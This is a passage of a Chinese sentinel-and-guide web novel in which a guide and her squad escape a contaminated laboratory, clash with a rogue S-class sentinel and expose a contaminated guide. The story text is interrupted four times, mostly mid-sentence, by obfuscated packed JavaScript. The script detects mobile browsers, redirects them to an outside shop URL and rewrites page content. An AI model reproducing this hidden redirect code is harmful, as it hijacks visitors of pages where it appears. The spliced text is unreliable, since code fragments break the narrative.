当初,在向导学院升入二年级后,她迟迟觉醒不了精神体,潜力评级一降再降、降无可降。现在想起来,依然是一段非常悲惨的经历。 门虽然开了,但门外的污染物们还在虎视眈眈。 一行人尝试突破无果,只好进入实验室内。 走廊不长。大约几十米后,前方出现了一间换衣室。门前的标语上,再次现出规则: 【实验室安全使用规范】 1、脱去外套、穿上实验服。 2、戴上帽子、口罩、手套。 3、禁止直接用手触碰实验器材。 4、实验室内,禁止使用终端、光脑等电子产品。 …… 眼前的规则,和普通的实验室,并没有什么两样。 “这是超净间实验室。” 池彗道,“一般这种实验室,有严格的灰尘标准。想要进入,需要先换上实验服,免得把灰尘带进去。” “这种带规则的实验室,我的建议是,最好听他们的规则,把衣服换上再进。不然违反了规则,可能会受到惩罚。” “你一个向导,怎么懂这么多?”哨兵队长惊奇道。 “……” 池彗笑而不语。 是啊,为什么呢? 当然是因为,前世的她,是真实的实验室研究生牛马啊。 没想到,兜兜转转,前世的牛马经验,以一种诡异的方式,再度派上了用场。 当所有人都换装完毕,气密门发出了“咔哒”一声轻响。 门开了。 但就在他们准备进入时,池彗的目光,落在了墙角的垃圾桶里。 里面有几张被撕碎的纸。 她给了C39一个眼神。C39会意,走过去,捻起其中的一片碎纸,念道: “7、使用仪器后,请关闭电源——” 他没有念下去,因为,后面的内容被撕掉了。 “有人先我们一步,进来了。” C39直起身,声音凝重,“而且,他毁掉了下半张规则。” 闻言,众人面面相觑。 这实验室本就邪门,他们却还要提防另外的闯入者? 事情,似乎变得棘手起来了。 哨兵队长立即朝其余人发号施令:“大家小心规则。不必要的事,千万别做。” 一行人穿过气密门,来到实验室内部。走廊两侧是透明的观察窗,透过玻璃,众人可以看见里面整齐排列的实验仪器。 一切都保持着工作状态,仿佛上一秒,还有人在这里做实验。 然而,操作台上什么都有,却唯独没有人。 只有寂静。 “这里的污染浓度,已经超出测量上限了。” 一名哨兵看着监测仪上的数字,声音发紧。 “安静。”哨兵队长压低声音,“有东西。” 所有人停下脚步。 在走廊尽头的阴影里,有什么东西……在动? 照明灯的光束切过去,照亮了那个身影。 那是一个“人”。 它有着人类的轮廓,耳部却依然长着一对巨大的蝶翼。 “又一个蝶人。” C39低声说,“和外面那个守门人,似乎是差不多等级的污染物。” 话音未落,蝶人动了。 最前排的哨兵被击飞出去,重重撞在墙上。 “开火!”哨兵队长吼道。 枪声震耳欲聋。特制子弹打在蝶人身上,却只溅起几点火星。 紧接着,蝶人展开翅膀,幽蓝色的磷粉以它为中心扩散开来。 “是污染!”池彗立刻构筑起屏障,但只坚持了三秒就碎了。 她的头疼得像要裂开。 哨兵们一个接一个倒下,逐渐被那磷粉带来的精神污染侵蚀。 蝶人朝池彗走来。 它似乎对向导特别感兴趣。 “快跑!” 哨兵队长挣扎着爬起来,想要挡在池彗面前,但他的腿已经不听使唤了。 完了。 池彗的手,下意识摸向防护服内侧的黑色药瓶。 然而,她的指尖才触碰到冰凉的瓶身,一道银光闪过。 “!” 蝶人的动作停住了。 它那光滑的脸上,从额头到下巴,出现了一条细细的红线。 下一秒,它的身体沿着那条线整齐地裂开,分成两半,倒在地上。 所有人都愣住了。 紧接着,走廊尽头的阴影里,走出一个人。 他穿着一身纯黑的作战服,手里握着一把长刀。刀身细长,泛着冷冽的银光,没有沾染任何污渍。 最引人注目的,是他的眼睛。 那是一黄一蓝的鸳鸯眼,瞳孔是竖着的,宛如大型的猫科动物。 池彗认识这个人。 ——S01。 14区白塔唯一的S级哨兵。也是……几天前,在兰斯办公室旁,无视她的那个人。 C39最先反应过来,上前一步,感激道:“阁下,谢谢你伸出援手——” 然而,回答他的,却是一道锋利的寒光。 S01的刀毫无征兆地挥出,直劈C39面门! “轰——” C39侧身躲开,刀锋擦着他的防护服划过,在墙壁上留下一道深达数寸的斩痕。 所有人都震惊了。 这人,怎么连自己人都打? “退后!” 哨兵队长吼道,但已经晚了。 S01的目光已然锁定了池彗——向导,永远是队伍中最弱的那一个。也是最佳的切入点。 他的身形再次消失,下一秒,出现在池彗面前。 “唰!” 破空声闪过。他手中长刀划出一道冰冷的弧线,没有任何多余的动作,只有纯粹的杀意。 电光火石间,池彗来不及反应,只能眼睁睁看着刀刃逼近—— “小心!” C39猛地扑过来,用身体撞开了池彗。 刀刃,斩在了他的右肩上。 防护服像纸一样被切开,鲜血喷涌而出。C39闷哼一声,单膝跪地,但依然死死挡在池彗身前。 他的精神体是水母,有很强的毒性与致幻性,但是正面战斗的能力不足,所以白塔只给了“C”的评级。 但此时,偏向辅助系能力的他,却死死挡在池彗身前,硬抗了一记S01的攻击。 “哨兵?” S01的动作停顿了一瞬。 他眉心微皱,银灰色的眼睛扫过C39肩上的伤口,似乎意识到了什么,“人类?” 但很快,他的目光重又恢复冰冷: “我的任务,是销 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243017|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毁这里。” “你销毁实验室,我们找出口离开,这并不冲突啊!”C39捂着伤口,据理力争。 “还没听懂吗?” 一旁,哨兵队长冷笑一声,“他的意思是,这片实验室内的一切,都在他的‘销毁’范围之内。” ——包括他们。 许是知道要死,他反倒没那么怕了,声音里只有平静。 “S01,可是14区白塔最知名的疯子哨兵。” “他的眼里,只有任务,没有人。” 仿佛是为了印证他的话,S01再次动了。 这一次,他的目标是所有人。 预想之中的战斗没有发生。转而出现的,是单方面的碾压。 S01的动作快得只剩残影。他穿梭在哨兵之间,刀光飞速闪过。 池彗尝试用精神力干扰他的行动,但她的F级精神力在S01面前,只够让他出现一瞬间的迟疑。她咬紧牙关,拼命将精神力聚拢成束,刺向S01的精神图景—— 然后,她看见了他的精神域。 银白色的荒漠。没有天空,没有地面,只有无穷无尽的骷髅白骨。在这片白骨的中心,坐着一个少年。 银发,银眼,抱膝而坐。 他的周围,堆满了尸体。 有污染物的,有哨兵的,还有……向导的。 这时,少年注意到了闯入者。 他抬起头,看向池彗。 “出去。”他说。 “!” 池彗的精神触手瞬间崩碎。 剧痛袭来,她眼前一黑,鼻腔涌出温热的液体——是血。 S01转过头,银灰色的眼睛锁定了她。 “向导?” 他朝池彗走来,眼中含着淡淡的杀意。 池彗捂着头,脑中还在隐隐作痛。她顾不上躲避,急忙掏出一片止痛药,就着唾液硬咽了下去。 头虽然疼,但她大概意识到——S01的状态不太对。 大家都是14区白塔的人,天天在一个大楼里工作、生活,就算S01不认得她,应该也能认识几个其他哨兵。 可看他如今的表现,不仅不认识他们所有人,还将他们……视作了敌人。 再加上…… 池彗抬眸,看着S01身上的黑色作战服,皱了皱眉。 ——这人居然没遵守规则,穿着外面的衣服……就进来了? 一定是他进实验室时没穿防护服、违背了规则,精神域被污染,才会陷入敌我不分的状态。 池彗大脑飞速运转。然而就在这时,S01的刀,到了。 “小心!” C39再次挡在了她面前。 透明的水母从半空中跃起,触须飘散开来,释放出淡紫色的毒雾。 “水系精神体,更擅长水战。” “在这里,你不是我的对手。” S01平静道。 “我不需要成为你的对手。” C39那张总是带笑的脸,罕见地阴沉下来,“我只需要撑到她逃跑,就够了。” S01垂下眼帘,没有做声。 他的刀再次挥出,径自劈向池彗。 而C39迎了上去,用左臂硬生生接下了这一刀。刀锋深深嵌入骨肉,他闷哼一声,却用右手死死抓住了S01的刀柄。 他咬了咬牙,没回头。 “快走!” 池彗看着他颤抖的背影,看着地上倒下的哨兵们,又看看S01那双毫无感情的银灰色眼睛。 她回眸看了C39最后一眼,咬牙,然后转身,向走廊深处跑去。 5. 第 5 章 池彗的身影消失在走廊尽头。 待到脚步声彻底消失,C39才松了口气。 他的任务是护送池彗。无论如何,他都不能让S01伤到她。 然而,少年刚一放松,就被对手捉到了破绽。 刀光乍现,直劈少年脖颈。 “锵!” 然而,刀刃落下的刹那,C39的身影却在顷刻间化为泡影—— “幻象?” S01抬眼。下一刻,C39的身影,已出现在五米开外。 “灵魂特质·幻影。” 他捂着自己受伤的左臂,扯了扯嘴角,“想杀我,可没那么容易。” 在白塔,等级C及以上的哨兵和向导,有概率会觉醒“灵魂特质”。 C39虽然只有C级,却拥有罕见的幻象类异能,这也是他被选中执行护送任务的原因。 “是吗。” S01眼神不变,再次挥刀。 刀光闪过。一道又一道幻象被劈开,化为泡影。 劈到第七道时,C39再撑不住,身形显现,呕出一口血来。 “……唔。” 他抹去唇边的血,眉头紧锁。不仅等级被压制,就连异能……也被对方看穿了吗? 下一刀来得更快。 C39勉强侧身,却还是被刀尖命中。他跪倒在地,周身却再次幻出虚影—— “没用的。” S01的刀再次举起,粉碎了他的幻象。 然而,就在这时,一道黑影,从天花板垂直落下! 六对透明的翅翼完全展开,像一张死亡的网,直扑S01后背! S01不得不收回攻向C39的刀,转身向侧方一滚,反手格挡—— “当!” 黑影落地。 那是个半人半虫的污染物,穿着残破的研究服,耳部伸出六对蜻蜓般的透明翅翼。 S01眉梢一挑,放弃攻击C39,朝那半人半虫的怪物冲去。 战斗再次爆发。 翅翼嗡嗡的抖动声、刀刃劈砍的闷响,还有物体撞在墙上的震动声……本就混乱的走廊,彻底沦为了战场。 混乱中,C39艰难地抬起头。 那长着虫翼的怪物身后,一个熟悉的身影,正缓缓朝他走来。 “抱歉,我来晚了。” 是池彗。 她走到他的身边,蹲下身,快速检查他的伤口。 “能走吗?” “……姐姐?”C39的声音嘶哑,几乎发不出声来。 “别说话。” 池彗从背包里翻出止血凝胶,快速喷在他颈部的伤口上。她的动作轻快,就像跟白塔的医疗兵学过似的。 “姐姐,你……” C39本想问她是怎么引来的怪物,但话到嘴边,却变成了,“……这里危险。” “我知道。” 池彗说,手上的动作没停,“所以,我们需要S01活着。” 她抬起头,看向战场。 这时,S01和污染物,已经打到了走廊的另一端。 乍一看,S01明显处于下风——他只有一只手能用,怪物却有六对虫翼,每一对都如刀尖般锋利。 “看清楚了。” 池彗低声说,“那个污染物,攻击模式有规律。每次它转身突刺后,右边的翅膀,会停止攻击。” C39抹了把脸上的血,艰难地聚焦视线。 当怪物又一次转身,刺向S01时,那虫翼果然有一瞬间的紧绷。 他看向池彗:“姐姐,我要怎么做?” “很简单。” 池彗弯下腰,小声附耳过去,“你只要在我喊你的时候,攻击那块虫翼就行。” “我……” C39迟疑了一下。他受了重伤,精神域已经濒临崩溃,精神体水母也早就消散了。 “你能做到。”池彗看着他,眼神平静而坚定,“我相信你。” 这句话像一针强心剂。 C39咬牙点头。 战场中,S01被逼到了墙角。怪物的六对虫翼同时刺出,封死了他的退路—— 就是现在。 池彗低喝:“动手!” C39闭上眼睛,精神力凝聚成一根无形的针,刺向怪物的复眼! “嘶——” 怪物发出一声尖锐的嘶鸣,攻击停滞了半秒。 虽然只有半秒,但对S01来说,已然足够。 他松开右手,让刀在空中翻转半周,然后用受伤的左手接住,刀锋从下方斜向上撩起—— “噗。” 污染物被横胸刺穿,组织液喷涌而出。怪物发出一声痛苦的尖啸,六对翅翼同时痉挛。 很快,它的复眼失去焦距,翅翼停止振动,庞大的身躯轰然倒地。 S01收刀入鞘,眼中逐渐恢复清明。 他转过头,看向池彗。 “终于清醒了?” 池彗挑了挑眉,嘲讽道,“我还以为,为了执行你的任务,你要把我们几个也一并端掉呢。” S01自知理亏,垂眸,不置可否:“……抱歉。” 池彗不欲与他争辩,转身,扶起C39。 不带向导的哨兵单人出任务,的确很容易陷入污染状态,敌我不分。倘若他是整片污染区唯一的人类,等消灭污染源后,状态自会恢复。 只是,偏偏池彗等人来到了这里,闹出了这场乌龙。 池彗耸耸肩,换了个话题问S01:“换衣间的规则,是你撕掉的吗?” “……不是。” S01微微摇头,“我来之前,规则就已经被人破坏掉了。” 说着,他蹙眉,表情渐冷,“既然规则已经被人动过手脚,就不能信了。我以为那半张规则也是假的,就没跟着去做。结果……” 结果不言而喻。要不是遇到池彗一行人,恐怕,他就要死在这片污染区内了。 池彗点点头,接受了他的解释:“一起走吗?” “……好。” S01点了点头。 他走到池彗身后。然而,就在这时,不远处“咚”的一声,似乎有人磕到了头。 一旁时刻警惕着的C3 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243018|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 9立即举枪,对准角落: “什么人?出来!” “别、别开枪!我是人类!” 角落里,一个纤细的身影慢慢走出来。 那是个年轻女人,看起来二十出头,穿着和他们如出一辙的防护服。 “你们……是白塔的人吗?”她小心翼翼地问,声音有些发哑。 C39没放下枪:“你是谁?” “我是13区白塔的在职向导,我叫庞水。” 女人举起双手,示意自己没有武器,眼泪已先一步流了出来,“太好了,终于遇见活人了……” 她保持着投降姿势,简单叙述了一下自己的情况——她是13区的向导,不幸误入这座实验室,已经困在里面好几天了。 “13区的向导,为什么会出现在这里?” C39警惕地瞥了她一眼,“13区和A-7污染区,可是隔了十万八千里。” “这片污染区比较特殊。” 说着,S01看向庞水,“每隔一段时间,它就会出现在不同的位置,很难根除。你应该是在它来到A-7污染区之前进来的。” “是吗?” 闻言,庞水脸色煞白,“那我……岂不是回不了13区了?” 如今的世界,早已被污染区分隔。安全区与安全区之间,隔着许多个污染区。仅凭庞水一人,是很难从14区回到13区的。 “可以先在14区落脚。”池彗安慰她道,“你有白塔身份,过渡不难。” 庞水低下头,手指无意识地绞着衣角。 吸纳了S01、庞水二人后,一行人在一楼四处搜索,终于找到一处隐秘的房间,决定在此处休整片刻。 他们在角落支起简易帐篷。哨兵队长和队员占了一侧,S01和庞水在另一侧。 池彗和C39负责守前半夜,坐在门边,小声交谈起来。 “姐姐,那个庞水……你觉得,她值得信任吗?” C39忧心忡忡,“换衣间的规则,分明被人撕坏过。如果S01没说谎,那撕规则的人……” “嘘。”池彗指尖轻按在他唇上。 C39整个人一僵,耳根瞬间红了。 池彗这才注意到他的异常,伸手过去,探了探C39的额头,再探探自己的:“你……发烧了?也没有很烫啊。” C39支支吾吾:“可能是白天作战太多,有点累了。” “不是伤口感染了就好。” 池彗松了口气。 这支小队里全是刺头,众人心思各异,最服管的也就数C39一人。他要是伤口感染了,光凭自己一人,怕是难以服众。 “你先睡吧,守夜我一个人来就行。” “……嗯。” C39自没有逞强,乖乖在她身边躺下了。 黑暗里,池彗叹了口气。 她将精神力缓缓铺开,扫视着屋内的一切。 C39说得没错。如果S01没说谎,那么,在这个实验室里,在他们到来之前,还有第四方。 又或者……那个撕掉规则的第四方,就在他们之中。 6. 第 6 章 第二天一早,一行人开始寻找离开这里的线索。 他们找到一处被污染物重重看守的房间。房内巨大的培养皿中央,悬挂着一把钥匙。 “我敢打包票,这钥匙肯定和主线有关。”庞水笃定道。 “还用你说?” 一旁的哨兵队长默默翻了个白眼,“这里有这么多污染物看着,我们怎么过去?” “我有办法。” 池彗看着隔壁标本室的蝴蝶标本,忽然心生一计。 “如果……我们把这些污染物的标本戴在身上,是不是就能不被污染物识别为‘闯入者’了?” 其余人:“?” 闻言,其余哨兵顿时用敬畏的眼神看着她。 猛士啊,这也行? “不会因此沾上污染吗?”C39忧心忡忡。 “偷钥匙的话,人贵精不贵多。我一个人来就行。” 池彗瞟了他一眼,“毕竟向导可以净化污染,这任务最好由我和庞水去。” 一旁被cue的庞水:“?” “我?” 她指指自己,愣了一下,“我也要去吗?” “不然呢?” 池彗笑了一下。 她去隔壁挑了挑,选中一对橙红色的眼蝶标本,学着守门人小女孩的模样戴在耳旁,“这样像不像?” “像。”C39默契地捧哏。 庞水:“……” 她用沉默抗议,无果,只好也去隔壁标本室也给自己挑了一个。 二人戴上虫耳,鬼鬼祟祟地朝着钥匙的位置进发。 此招虽险,却意外地有用。标本一戴,屋内的污染物不仅没有朝她们攻击,反倒避让开了一条路。 池彗捏着自己休息一晚上积攒的精神力,小心翼翼地朝前走着。这时,一旁的庞水却忽然打开话匣: “你刚才说……向导,可以‘净化’污染?” “是啊,怎么了?” 池彗没想到她会在这种时候说话,偏过头,看向庞水。 “没、没什么。” 庞水摇头,“就是觉得,这种说法,还挺新奇的。在13区,我们一般不这么说。” 池彗没有继续接话。二人沉默地拿到钥匙,默默带回队友身边。 “……就这么简单?” 哨兵队长还以为她俩要惹一身腥回来,早早做好了战斗准备,见她们全须全尾地回来了,顿时难以置信。 “嗯,就这么简单。” 池彗无奈道,“这种污染区副本,仅仅只做到逃生,还是容易的。” 她将钥匙收进背包,看向一旁的S01,问:“我们拿了钥匙,准备去大门逃生了。你要和我们一起走吗?” S01摇头:“我的任务,是毁掉更高层的污染物。” 池彗几人只是误入,走了便走了。但他还有任务在身,自然不会跟他们一道离开。 “……姐姐,别管他了,我们走吧。” C39扯了扯池彗的袖子,同时警惕地瞥了眼S01,“咱们还得快点回去汇报,耽搁不了。” 池彗不太理解他对S01莫名其妙的敌意,闻言,摸了摸鼻子:“好。” 双方在安全楼梯处分开。S01只身朝上继续前行,其余人则朝着出口走去。 实验室的出口在一楼最深处。 这是一扇普通的铁门,上面挂着荧光绿的“紧急出口”牌子。 池彗将钥匙插入锁孔,转动。 门开了。 但门后,却不是他们熟悉的A-7污染区荒原。 这是一个如同生物腔室般的空间。 肉质的墙壁有规律地搏动着,天花板上垂下无数细长的触须。空间中央,盘踞着一个巨大的怪物。 它没有固定的形态,像一滩活着的、不断变化的肉泥。 而肉泥的表面,布满了耳朵。 人类的、动物的、昆虫的、纯粹能量体的……成千上万只耳朵,全部朝向门口,“望”向他们。 “欢迎回家。”一个声音说。 那个声音,来自他们身后。 池彗转过身来。 庞水站在走廊的阴影里,眼睛在昏暗的光线下幽幽发光。她的脸上,没有了先前的怯懦,只剩下一种非人的平静。 “你……”哨兵队长举起了枪。 但枪口刚抬起,就融化了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243019|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他手中的枪,在几秒之内脱手,随即变成了一滩冒着气泡的粘液。 “别紧张。” 庞水微笑着说,迈步朝他们走来。 她的脚踩在地面上,没有发出声音——因为地面在主动适应她的步伐,为她铺出了一条柔软的道路。 “你是污染物?” 哨兵队长震惊道,“你说你是13区的向导,是骗我们的吗?” “我没有骗你们。” 庞水说,声音依然温和,却多了一种居高临下的意味,“这扇门真的是出口,我也真的是13区白塔的向导。只是……” 说到这里,她停顿了一下,伸出手。 那双手开始从手指一点点融化,皮肤剥落,露出下面蓝色的、半透明的组织结构。然后是整条手臂、上半身,最后则是双腿。 像蜕皮的昆虫,一个全新的“庞水”从旧有的躯壳里钻了出来。 “只是,在这片污染区内困了太久,躯体污染化了。” “还在狡辩。” C39冷冷道,挡在池彗身前,“向导天生就能净化污染,怎么可能会变成污染物?会变成污染物的,只有哨兵。” 闻言,庞水露出古怪的眼神。 她盯着C39看了几秒,然后,嘴角勾起讽刺的微笑。 “啊。”她说,声音里带着一种恍然大悟的嘲讽,“原来是这样。” “14区白塔……是这么教你们的?” 她转向池彗,眼中闪过一丝复杂的情绪,像是看着从前的自己。 “池彗,同为向导,我还是得提醒你一句。” 庞水扬声,“向导,也是会变成污染物的。你们白塔所宣扬的‘向导净化’之说,实际上,应该是‘转移’。” 闻言,池彗的心猛然一跳。 “不要再给你身边任何一个哨兵做精神疏导了。” 庞水继续说,声音越来越轻,“那样,我的下场,就是你的未来。” “什么意思?” 池彗皱眉。 “你会明白的。” 庞水嘴角露出神秘的微笑。 下一秒,她纵身一跃,投入身后巨大的怪物口中。 7. 第 7 章 战斗一触即发。 巨大的怪物腾空而起,无数耳朵如触须般随风张扬。 庞水的身躯落入怪物口中后便消散殆尽,但怪物皮肤的中央,却长出一张姣好的女性面孔—— “池彗。” 怪物用着庞水的脸,温柔地呼唤着她的名字。 这场面,诡异极了。 “姐姐?” C39紧张地把池彗护在身后,“要不,我们先撤……?” “不用。” 池彗说。 她抬起右手,指尖亮起精神力的微光。 一条条丝线凭空升起,串联起了在场的每一个哨兵战士,拓展他们的视野,令他们免除污染的侵袭。 ——精神疏导。 身旁有一个非常擅长精神疏导的向导,对所有哨兵而言,都是一种激励。 C39精神一振。他看见池彗的精神连接——在场所有哨兵的视野,都共享给了他,S01也在。 ——鸳鸯猫瞳的S级哨兵握着他的长刀,在一旁伺机而动。 等等……S01? 看到怪物侧后方死角处、S01的视野时,C39愣了一下。 不是,S01,他,没走? 他刚才和池彗辞行,都是给庞水演出来的戏?池彗也知道,却没告诉他?? 这二人的关系,什么时候好到可以绕过他,独自密谋了? C39咬了咬下唇,表情有点不甘。 明明是他先…… 不。这会还在战斗,不能想这些有的没的。等战斗结束,姐姐一定会和他解释的。 C39这边醋意漫天。殊不知,另一边,S01的内心也并不平静。 做惯了独狼的他,却在池彗的精神连接中,与其他哨兵共享了视觉、听觉,甚至……触觉。 战场上的每一个死角,都被池彗彻底洞悉。再由这位中枢“大脑”,传达到每一名哨兵的脑内。 这种一举一动都受人操控的感觉,着实……恶心。 S01蹙眉。 但他又不得不承认,这很高效。 人群最后,池彗没有开口,声音却透过在精神链接,传递给了每一个作战哨兵: “攻击九点钟方向的那只耳朵。” 几名哨兵顿时一怔。S01最先反应过来,手中长刀已然挥向前方的怪物—— “轰!” 最脆弱的一只耳朵被割下,怪物嘶吼一声,软软倒了下去,瘫成一滩烂泥。 S01后退几步,远离污染范围,看着自己略微发麻的手心,微微一怔。 直到命中,他才反应过来——自己竟下意识地遵从了池彗的命令。 池彗,居然会隔空传音。 如此精妙绝伦的精神力操控能力,居然出现在……一个F级向导身上。 真是暴殄天物。 他不禁向池彗的位置微微侧目。 目光所及,年轻的向导神色淡然,走到奄奄一息的怪物身前。身上防护服的衣角,甚至没有弄乱一丝一毫。 “池……彗……” 怪物身上的“庞水”头颅被S01砍下。然而,那落在地上的头却没有死亡,而是扬起双目,狰狞地看向了池彗。 “你……早就知道我有问题?” 庞水恍然大悟,又咬牙切齿,“既然如此,你为什么要让我入队?” “不入虎穴,焉得虎子。” 池彗俯身,并不畏惧怪物身上的污染,而是淡淡地说,“C39早就发现你是污染物了。标本也只是个幌子,我们之所以会如此轻易地拿到钥匙,走到门口,还是多亏了你。” 只有真正的污染物,才能不被其他污染物识破身份。 庞水和她一起去拿钥匙,二人却未被攻击。池彗自己是人类,那么不是人的,就只有庞水了。 “凭什么?” 庞水恨恨道,“我虽然是污染物,却对你们没有恶意。可你偏偏对我百般试探,甚至不惜支开S01,想让我对你们发难——心里有鬼的,明明是你们。” “是吗?” 池彗冷冷地看着她,“那你告诉我,换衣间的规则,是被谁撕掉的?” 庞水愣了一下,一时没有出声。 她的人类头颅倒在地上,随着怪物的死亡渐渐融化。但那双眼眸却执拗地看向池彗,目光流露出淡淡的嘲笑: “你可以不信,但……撕掉规则的人,不是我。” 话音落下,她的头颅灰飞烟灭。 ——死无对证。 池彗默默直起了身。 S01说不是,庞水也说不是。 要么,这两个人中有一个人在撒谎。要么,就是…… 池彗的目光,投向了眼前C39的背影。 严格意义上说,和她同路的队友,未必没有作案的可能。 当时,还有几名哨兵走在她前面。而走在最前面的哨兵——C39,是最有可能提前对规则动手脚的。 会是他吗? 池彗知道自己不该怀疑队友,但疑点,着实太多了。 她看向前方。 怪物的尸体已经彻底瓦解,只剩下一地蓝色的粘液,和一条向下延伸的、搏动着的通道—— 喉管。 “走吧。” * 穿过喉管的体验,没有人想回忆第二次。 地面湿滑而又温热,是一种带有诡异弹性的肉质。空气中弥漫着甜腻的腐败气味,地上的褶皱处,聚起一圈又一圈的水洼。 十五分钟后,前方出现了光。 属于A-7污染区的铅灰色天空,终于呈现在众人面前。 庞水没有骗他们。外面,真的是出口。 C39第一个踏出去。 “信号恢复了。” 他立即打开终端,以防万一,还是向白塔发送了求援信号。 其他哨兵也陆续走出来,瘫倒在地。哨兵队长仰面躺下,望着久违的天空,喃喃道:“老子再也不出外勤了……” “不出外勤?” 他的手下狠狠拧了他一把,“你要喝西北风吗?可把你能的。” “哈哈哈哈……” 一众哨兵顿时像打开了话匣子,哄笑起来。劫后余生的喜悦,在队伍里蔓延。 只有S01站在洞口边缘,没有跟上去。 他的任务——实验室内更高层的污染物们,还未被绞杀殆尽。 池彗回眸看向他。 “不休息一下再走吗?” S01微微摇头,沉默地拒绝。 “谢谢你,刚才选择留下帮助我们。” 池彗礼貌地笑了下,没有强留。 “不用客气。” S01却后退半步,垂眸,淡淡道,“杀死污染物,本就是我任务的一环。” 这句话,似乎是池彗认识他以来,所听到的最长的一句话了。 她微微一怔。谁知还不等她反应过来,那身着黑色作战服的高大哨兵就转身,重又钻入肮脏的喉管之中。 池彗笑容一僵:“……” 她是比污染区还恐怖吗?要不要这么迫不及待啊。 这个任务脑袋,真是没救了。 她回过身,刚想和C39商量返程的事,脚下的地面却忽然震动起来。 “不好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243020|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' C39的脸色瞬间一变。 池彗立即回头,想叫回S01,但那巨大的喉管倏然一缩,瞬间潜入地底。 “天呐!” 一旁,另一名哨兵震惊地看着手中的测试仪。 “污染读数……在飙升!” “这、这不可能!” 哨兵队长猛地坐起来,“这里还在A-7污染区外围,我们才刚清理过——” 话音未落,地面的震动陡然变得剧烈起来。 远处的荒原上,涌起了白色的烟尘。 是污染物。 它们从四面八方涌来,朝他们的方向狂奔。 而在污染群的侧方,一名熟悉的蝶人污染物,出现在他们眼前。 她穿着破旧的白色连衣裙,赤脚,头发却是纯黑的,长及脚踝。没有瞳孔的白色眼眸,正眨也不眨地盯着他们。 正是他们在实验室深处见过的那个守门人女孩。 “你们……出来了啊。” 她微微欠身,目光落在众人身上,眼中失望一闪而过。 “从实验室里出来的孩子,为什么,没有找到自己的新耳朵呢?” 池彗的心脏猛地一缩。 她明白了。 这场任务,从一开始就是必死之局。 无论他们能不能顺利从实验室逃生——这个女孩,都会等在这里,前来收割他们的性命。 “姐姐,”C39挡在她身前,声音发颤,“我来断后。” “你断个屁。” 池彗难得爆了粗口,一把扯过他的手腕,“跑!” 他们转身就跑。 然而,他们身后是喉管的入口,已经闭合了。 “靠!” 哨兵队长狠狠踹了一脚那肉质的墙壁。墙壁纹丝不动,反而弹出几根触须,差点缠住他的腿。 污染物越来越近。 女孩越来越近。 她纯白的眼睛,一直盯着池彗。 “我记得你。” 她缓步上前,直勾勾地望着她,“姐姐,你的耳朵呢?” “别碰她!” 哨兵队长立即抬枪射击。子弹却依然没能对女孩造成伤害,反而激怒了她。 一道无形的子弹反弹而过,在场离得近的几名哨兵顿时倒飞出去,口鼻溢血,生死不明。 打不过。 绝对打不过。 池彗咬了咬牙。这种高等级的污染物,寻常攻击很难对她造成伤害。除非……用精神力。 可她的精神力只有F级,才在对战庞水的那会儿耗空,此刻,根本一滴都榨不出来。 怎么办? 池彗咬了咬牙。袖中的手紧了紧,伸向兜内的黑色药瓶。 ——西伊临行前给她的禁药,能大幅度提高精神力,要用吗? “来吧,姐姐。” 女孩离得越发近了。她向池彗伸出小手,目光专注而诡谲。 “我会……带你去找一对新的耳朵。” 池彗咽了口口水,没有立刻拒绝。 她慢慢退后,警惕地问:“你要怎么带我找耳朵?” 女孩没有回答。无形的污染气息,却渐渐包围过来。 浓重的污染气息中,池彗的眼神渐渐迷惘。 她抬头,缓缓伸手,试探着搭向女孩伸出的小手。 “……好。我跟你去。” “太好了。” 女孩露出惊喜而得逞的微笑。 她反握住池彗的手,雪白的瞳孔却骤然一缩—— 因为,二人交握的手上,不知何时,已被一柄锋利的匕首刺穿,鲜血淋漓。 “啊!!!” 8. 王者归来! 淡蓝色的液体喷涌而出。 “啊!!!” 女孩惊声尖叫起来。 她愤怒地看向眼前的向导,以及——她身后忽然显形的哨兵。 C39肩头漂浮着透明的水母,抹了把唇角血迹,冷冷道: “灵魂特质·幻影。” 原来——这是C39构造的幻境。他配合池彗,成功伤到了眼前这只人形污染物。 